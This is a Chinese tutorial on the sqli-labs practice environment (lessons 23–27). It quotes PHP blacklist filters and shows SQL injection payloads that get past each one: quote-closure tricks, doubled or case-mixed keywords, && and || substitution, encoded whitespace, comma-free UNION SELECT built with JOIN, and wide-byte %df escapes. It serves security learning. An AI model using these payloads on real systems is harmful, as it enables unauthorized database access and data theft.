一.注释符过滤绕过(less-23)
先看源码:
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
从源码中我们可以看出这里用$reg和$reg1,把#和--注释符都替换掉了,如果像一般那样注入会因为sql语句缺少闭合符而报错,从报错上来看是因为注释符被替换导致后面有个单引号没有闭合,所以可以在注入的时候加一个单引号来进行绕过。
同理可以通过正常的方法来判断闭合方式之后进行类似的注释符过滤绕过。当然首先要判断是数字型还是字符型注入,如果是数字型则不用考虑。
这里推荐以下两种方法?id=1') (
?id=1') or ('1')= ('1
二.and和or过滤绕过(less-25)
先看源码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
这里的源码说的是出现and和or都要被替换掉,语句里面/i是指匹配大小写,所以这里的and和or无论使用大小写都会被替换,所以and和or过滤的手法主要有以下几种:
1.大小写绕过(虽然这里被过滤但是也会存在没过率的情况)?id=1 aNd 1=1 --+
2.复写过滤?id=1 anandd 1=1 --+
相当于中间的and被识别后语句中还有and能发挥作用
3.用&&取代and,用||取代or(如果识别不了&就用他的url编码%26,|是%7C)?id=1 && 1=1 --+
三.空格过滤绕过(less-26)
先看源码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
源码这里就不讲了,跟上面差不多的意思,就是多加了几个过滤的内容,上面有注释说了过滤内容。
这里说一下空格过滤常见的绕过手法:
1.+号替代空格,http请求参数有时候会因为url转换的问题把+转换成空格,不过这里没有这个问题就不演示了。
2./**/注释绕过
3.使用url编码替换空格
可以用以下符号替代:
%09 | TAB 键 (水平) |
---|---|
%0a | 换行 |
%0c | 换页 |
%0d | return 功能 |
%0b | TAB 键 (垂直) |
%a0 | 空格 |
4.使用报错注入(不用空格)
四.逗号过滤绕过
当逗号被过滤掉之后可以使用join,进行代替。
例如:?id=-1' union select 1,2,3 --+
可以被替换为 ?id=-1' union select * from (select 1)a join (select 2)b join (select 3)c --+
可以看出使用join可以在没有逗号的情况下进行注入
五.union,select过滤绕过(less-27)
源码:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
这里就不再赘述了,跟上面几种基本差不多。
1.大小写绕过
2.复写绕过
3.使用报错注入
六.宽字节过滤绕过
先看源码:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
这里使用addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 预定义字符是:单引号(')双引号(")反斜杠(\)NULL,这样就会导致语句无法闭合而失效。
绕过方法:使用gbk编码,让反斜杠失效
在预定义字符前加%df
最后,绕过手法不局限于上面这些方法还有很多绕过的方法可以看看这篇文章WAF绕过之SQL注入(归来) (qq.com)